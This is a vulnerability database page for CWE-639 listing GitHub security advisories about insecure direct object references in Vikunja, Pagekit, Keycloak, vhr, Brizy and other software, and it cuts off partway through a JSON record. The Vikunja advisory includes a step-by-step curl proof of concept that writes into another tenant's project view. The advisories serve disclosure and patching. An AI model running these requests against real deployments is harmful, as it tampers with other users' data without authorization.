Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

5925 vulnerabilities reference this CWE, most recent first.

GHSA-W39F-H553-H2MX

Vulnerability from github – Published: 2026-10-09 20:51 – Updated: 2026-10-09 20:51
VLAI
Summary
Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)
Details

Summary

The task-position endpoint authorizes only the task side of the write: TaskPosition.CanUpdate delegates to Task.CanUpdate (write access to the task's own project) and the request body's project_view_id is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist (task_id, project_view_id, position) rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below MinPositionSpacing, 0.01) enter the recalculation branch, but RecalculateTaskPositions aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.

Details

Affected endpoints (both verified):

  • v1: POST /api/v1/tasks/{id}/position
  • v2: PUT /api/v2/tasks/{id}/position

Root cause in pkg/models/task_position.go:

  • CanUpdate (lines 61-64) checks only Task.CanUpdate — i.e. the caller's write access to the task's own project.
  • updateTaskPosition (lines 174-232) upserts (task_id, project_view_id, position) directly; there is no check that the view belongs to the task's project and no access check on the view's project.
  • ProjectViewID is body-bindable (json:"project_view_id", no readOnly/param restriction, line 42).

Contrast with the fixed sibling: the bucket-move endpoint (POST /projects/{project}/views/{view}/buckets/{bucket}/tasks, pkg/models/kanban_task_bucket.go:53-68) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.

Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives 200 {"task_id": ..., "project_view_id": <victim view>, "position": ...} on both v1 and v2, and the row is persisted (verified directly in the task_positions table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but RecalculateTaskPositions returns 403 (getRelevantProjectsFromCollection → CanRead on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.

PoC

Steps use the owner of the victim project (token $OWNER) and an attacker with only their own project (token $ATTACKER). All requests were executed against a local Vikunja 2.5.0 instance.

  1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
  -H 'Content-Type: application/json' -d '{"title":"victim"}'
# -> {"id":200,...}

curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER"
# -> [{"id":771,"view_kind":"kanban",...}, ...]   # remember VIEW=771
  1. Attacker creates their own project and a task in it:
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"title":"attacker"}'
# -> {"id":201,...}

curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"title":"evil"}'
# -> {"id":105,...}
  1. Baseline — attacker positions their task in their own view (succeeds, expected):
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}'
# -> 200
  1. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):
curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}'
# -> 200 {"task_id":105,"project_view_id":771,"position":100}

curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}'
# -> 200 (v2 twin behaves identically)
  1. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):
curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \
  -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 1}'
# -> 403 Forbidden
  1. Persistence proof — the cross-tenant row exists in the database:
docker exec <db> psql -U vikunja -d vikunja -t -A -c \
  "SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;"
# -> 105|100        (row for the attacker's task inside the victim's view namespace)

Observed result: steps 4 and 6 succeed — a task_positions row (attacker_task, victim_view) is created and persisted; step 5 is refused with 403. Note: "position": 1 is above MinPositionSpacing (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).

Impact

Impact summary: a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated low — the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join task_positions without re-checking task-project access.

Broken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension — the task — while the write targets another — the view). Any authenticated user holding a single writable task can persist rows into any other tenant's view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (< 0.01) enters the branch but RecalculateTaskPositions fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a FOR UPDATE lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in CanUpdate or before the upsert, load the view by tp.ProjectViewID and require view.ProjectID == task.ProjectID (and/or caller access to the view's project), mirroring the bucket-side fix for GHSA-569v.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91984"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:51:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task\u0027s own project) and the request body\u0027s `project_view_id` is never validated to belong to the task\u0027s project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant\u0027s project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes \u2014 only the plain row insert (position \u2265 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.\n\n## Details\n\nAffected endpoints (both verified):\n\n- v1: `POST /api/v1/tasks/{id}/position`\n- v2: `PUT /api/v2/tasks/{id}/position`\n\nRoot cause in `pkg/models/task_position.go`:\n\n- `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` \u2014 i.e. the caller\u0027s write access to the task\u0027s own project.\n- `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task\u0027s project and no access check on the view\u0027s project.\n- `ProjectViewID` is body-bindable (`json:\"project_view_id\"`, no readOnly/param restriction, line 42).\n\nContrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes \u2014 the position endpoint was never given the equivalent view-side check.\n\nObserved behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {\"task_id\": ..., \"project_view_id\": \u003cvictim view\u003e, \"position\": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim\u0027s own task is correctly refused with 403, isolating the missing view-side check. The victim\u0027s listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (\u003c 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` \u2192 `CanRead` on the victim project) before any recalculation runs, rolling the whole request back \u2014 so the low-position variant persists nothing and never rewrites the victim\u0027s ordering.\n\n## PoC\n\nSteps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance.\n\n1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $OWNER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"victim\"}\u0027\n# -\u003e {\"id\":200,...}\n\ncurl \"$BASE/api/v1/projects/200/views\" -H \"Authorization: Bearer $OWNER\"\n# -\u003e [{\"id\":771,\"view_kind\":\"kanban\",...}, ...]   # remember VIEW=771\n```\n\n2. Attacker creates their own project and a task in it:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"attacker\"}\u0027\n# -\u003e {\"id\":201,...}\n\ncurl -X PUT \"$BASE/api/v1/projects/201/tasks\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"evil\"}\u0027\n# -\u003e {\"id\":105,...}\n```\n\n3. Baseline \u2014 attacker positions their task in their own view (succeeds, expected):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": \u003cOWN_VIEW\u003e, \"position\": 100}\u0027\n# -\u003e 200\n```\n\n4. Mutation \u2014 attacker writes their task\u0027s position into the victim\u0027s view (no access to it whatsoever):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": 771, \"position\": 100}\u0027\n# -\u003e 200 {\"task_id\":105,\"project_view_id\":771,\"position\":100}\n\ncurl -X PUT \"$BASE/api/v2/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": 771, \"position\": 101}\u0027\n# -\u003e 200 (v2 twin behaves identically)\n```\n\n5. Control \u2014 attacker positioning the victim\u0027s own task is correctly refused (the task-level gate works; only the view side is missing):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/\u003cVICTIM_TASK\u003e/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"project_view_id\": 771, \"position\": 1}\u0027\n# -\u003e 403 Forbidden\n```\n\n6. Persistence proof \u2014 the cross-tenant row exists in the database:\n\n```\ndocker exec \u003cdb\u003e psql -U vikunja -d vikunja -t -A -c \\\n  \"SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;\"\n# -\u003e 105|100        (row for the attacker\u0027s task inside the victim\u0027s view namespace)\n```\n\nObserved result: steps 4 and 6 succeed \u2014 a `task_positions` row `(attacker_task, victim_view)` is created and persisted; step 5 is refused with 403. Note: `\"position\": 1` is above `MinPositionSpacing` (0.01), so it never enters the recalculation branch \u2014 it is a plain upsert. A position \u003c 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).\n\n## Impact\n\n**Impact summary:** a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated **low** \u2014 the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join `task_positions` without re-checking task-project access.\n\nBroken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension \u2014 the task \u2014 while the write targets another \u2014 the view). Any authenticated user holding a single writable task can persist rows into any other tenant\u0027s view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (\u003c 0.01) enters the branch but `RecalculateTaskPositions` fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a `FOR UPDATE` lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in `CanUpdate` or before the upsert, load the view by `tp.ProjectViewID` and require `view.ProjectID == task.ProjectID` (and/or caller access to the view\u0027s project), mirroring the bucket-side fix for GHSA-569v.",
  "id": "GHSA-w39f-h553-h2mx",
  "modified": "2026-10-09T20:51:41Z",
  "published": "2026-10-09T20:51:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w39f-h553-h2mx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91984"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-broken-object-level-authorization-via-task-position"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)"
}

GHSA-W3J8-9P3J-3WJX

Vulnerability from github – Published: 2025-12-17 18:31 – Updated: 2025-12-18 15:39
VLAI
Summary
Pagekit CMS has an Insecure Direct Object Reference (IDOR) in its User Role component
Details

An Insecure Direct Object Reference (IDOR) in Pagekit CMS v1.0.18 allows attackers to escalate privileges.

The project was archived as of December 1, 2023.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pagekit/pagekit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.0.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T15:39:04Z",
    "nvd_published_at": "2025-12-17T17:15:51Z",
    "severity": "CRITICAL"
  },
  "details": "An Insecure Direct Object Reference (IDOR) in Pagekit CMS v1.0.18 allows attackers to escalate privileges.\n\nThe project was archived as of December 1, 2023.",
  "id": "GHSA-w3j8-9p3j-3wjx",
  "modified": "2025-12-18T15:39:04Z",
  "published": "2025-12-17T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pagekit/docs/blob/develop/user-interface/users.md#permissions"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pagekit/docs/blob/develop/user-interface/users.md#roles"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pagekit/pagekit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pagekit CMS has an Insecure Direct Object Reference (IDOR) in its User Role component"
}

GHSA-W3P3-7CJG-VGFW

Vulnerability from github – Published: 2026-10-29 16:37 – Updated: 2026-10-29 16:37
VLAI
Summary
Keycloak allows unauthorized access to resources via uma permission ticket bypass
Details

Description

A flaw was found in org.keycloak.authorization. An authenticated user with a granted User-Managed Access (UMA) permission ticket for one resource can exploit this by using a specific permission request prefix to bypass per-resource access control. This allows the user to gain unauthorized access to all resources of that type within the same resource server, even if they do not have a ticket for those specific resources. This vulnerability requires the resource server to be configured in PERMISSIVE policy enforcement mode and affects typed resources with ownerManagedAccess enabled, where no explicit policy protects the resource type. The primary consequence is unauthorized information disclosure or modification of resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-29T16:37:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Description\nA flaw was found in org.keycloak.authorization. An authenticated user with a granted User-Managed Access (UMA) permission ticket for one resource can exploit this by using a specific permission request prefix to bypass per-resource access control. This allows the user to gain unauthorized access to all resources of that type within the same resource server, even if they do not have a ticket for those specific resources. This vulnerability requires the resource server to be configured in PERMISSIVE policy enforcement mode and affects typed resources with ownerManagedAccess enabled, where no explicit policy protects the resource type. The primary consequence is unauthorized information disclosure or modification of resources.",
  "id": "GHSA-w3p3-7cjg-vgfw",
  "modified": "2026-10-29T16:37:57Z",
  "published": "2026-10-29T16:37:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-w3p3-7cjg-vgfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9799"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30049"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30050"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30083"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30084"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-9799"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482471"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keycloak allows unauthorized access to resources via uma permission ticket bypass"
}

GHSA-W3Q3-CC4C-7JVM

Vulnerability from github – Published: 2026-10-06 06:30 – Updated: 2026-10-06 06:30
VLAI
Details

Customer Insecure Direct Object References (IDOR) in Faktur Pro for WooCommerce <= 3.2.1 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-32576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T06:17:00Z",
    "severity": "MODERATE"
  },
  "details": "Customer Insecure Direct Object References (IDOR) in Faktur Pro for WooCommerce \u003c= 3.2.1 versions.",
  "id": "GHSA-w3q3-cc4c-7jvm",
  "modified": "2026-10-06T06:30:31Z",
  "published": "2026-10-06T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32576"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/woorechnung/vulnerability/wordpress-faktur-pro-for-woocommerce-plugin-3-2-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3Q5-4JVR-JM6P

Vulnerability from github – Published: 2026-09-03 15:32 – Updated: 2026-09-03 15:32
VLAI
Details

vhr fails to validate user authorization in the PUT /hr/info endpoint, allowing authenticated users to modify arbitrary HR profiles by supplying any profile ID in the request body. Attackers can overwrite other users' names, addresses, and disable accounts including administrators to cause denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-85214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-03T15:17:40Z",
    "severity": "HIGH"
  },
  "details": "vhr fails to validate user authorization in the PUT /hr/info endpoint, allowing authenticated users to modify arbitrary HR profiles by supplying any profile ID in the request body. Attackers can overwrite other users\u0027 names, addresses, and disable accounts including administrators to cause denial of service.",
  "id": "GHSA-w3q5-4jvr-jm6p",
  "modified": "2026-09-03T15:32:26Z",
  "published": "2026-09-03T15:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lenve/vhr/issues/349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lenve/vhr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lenve/vhr/blob/03abbd35af24e55368ce4e09f4038dc2aba3ff5f/vhr/vhrserver/vhr-mapper/src/main/java/org/javaboy/vhr/mapper/HrMapper.xml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lenve/vhr/blob/03abbd35af24e55368ce4e09f4038dc2aba3ff5f/vhr/vhrserver/vhr-web/src/main/java/org/javaboy/vhr/controller/HrInfoController.java"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vhr-missing-authorization-in-put-hr-info-allows-arbitrary-profile-overwrite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W3XR-4XQ6-F7JX

Vulnerability from github – Published: 2026-08-04 09:31 – Updated: 2026-08-04 15:32
VLAI
Details

The Brizy WordPress plugin before 2.8.19 does not properly verify authorization on the object being modified before updating a template's type meta, validating a request parameter that is different from the one used in the write operation, allowing users with Contributor-level access and above to change the template-type assignment of templates owned by other users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T07:16:29Z",
    "severity": "LOW"
  },
  "details": "The Brizy  WordPress plugin before 2.8.19 does not properly verify authorization on the object being modified before updating a template\u0027s type meta, validating a request parameter that is different from the one used in the write operation, allowing users with Contributor-level access and above to change the template-type assignment of templates owned by other users.",
  "id": "GHSA-w3xr-4xq6-f7jx",
  "modified": "2026-08-04T15:32:22Z",
  "published": "2026-08-04T09:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16070"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/aa57d5b9-ba51-476c-9e64-fd431b89fa8a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3XR-5CFX-CW4P

Vulnerability from github – Published: 2026-10-30 15:34 – Updated: 2026-11-03 18:30
VLAI
Details

Skuul School Management System through version 2.6.5 is vulnerable to incorrect access control in the ResultChecker::checkResult method. An authenticated student can manipulate the studentId parameter to retrieve another student's examination results, including examination marks, without authorization.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-117028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-30T14:16:39Z",
    "severity": "MODERATE"
  },
  "details": "Skuul School Management System through version 2.6.5 is vulnerable to incorrect access control in the ResultChecker::checkResult method. An authenticated student can manipulate the studentId parameter to retrieve another student\u0027s examination results, including examination marks, without authorization.",
  "id": "GHSA-w3xr-5cfx-cw4p",
  "modified": "2026-11-03T18:30:53Z",
  "published": "2026-10-30T15:34:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-117028"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dollarboysushil/cve/blob/main/CVE-2026-117028.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yungifez/skuul"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W494-P3QW-3WW3

Vulnerability from github – Published: 2025-02-14 09:31 – Updated: 2025-02-15 18:30
VLAI
Details

StrongKey FIDO Server before 4.15.1 treats a non-discoverable (namedcredential) flow as a discoverable transaction.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-26788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-14T08:15:31Z",
    "severity": "HIGH"
  },
  "details": "StrongKey FIDO Server before 4.15.1 treats a non-discoverable (namedcredential) flow as a discoverable transaction.",
  "id": "GHSA-w494-p3qw-3ww3",
  "modified": "2025-02-15T18:30:25Z",
  "published": "2025-02-14T09:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26788"
    },
    {
      "type": "WEB",
      "url": "https://docs.strongkey.com/index.php/skfs-v3/skfs-release-notes"
    },
    {
      "type": "WEB",
      "url": "https://www.securing.pl/en/cve-2025-26788-passkey-authentication-bypass-in-strongkey-fido-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4C2-J77V-WMG3

Vulnerability from github – Published: 2024-11-13 00:30 – Updated: 2024-11-18 21:30
VLAI
Details

SOCIFI Socifi Guest wifi as SAAS wifi portal is affected by Insecure Permissions. Any authorized customer with partner mode can switch to another customer dashboard and perform actions like modify user, delete user, etc.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-27700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-12T23:15:03Z",
    "severity": "HIGH"
  },
  "details": "SOCIFI Socifi Guest wifi as SAAS wifi portal is affected by Insecure Permissions. Any authorized customer with partner mode can switch to another customer dashboard and perform actions like modify user, delete user, etc.",
  "id": "GHSA-w4c2-j77v-wmg3",
  "modified": "2024-11-18T21:30:44Z",
  "published": "2024-11-13T00:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Mrnmap/mrnmap-cve/blob/main/CVE-2021-27700"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4FH-P39J-749C

Vulnerability from github – Published: 2022-08-29 20:06 – Updated: 2022-09-02 00:01
VLAI
Details

The forgot password token basically just makes us capable of taking over the account of whoever comment in an app that we can see (bruteforcing comment id's might also be an option but I wouldn't count on it, since it would take a long time to find a valid one).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-3019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-29T06:15:00Z",
    "severity": "HIGH"
  },
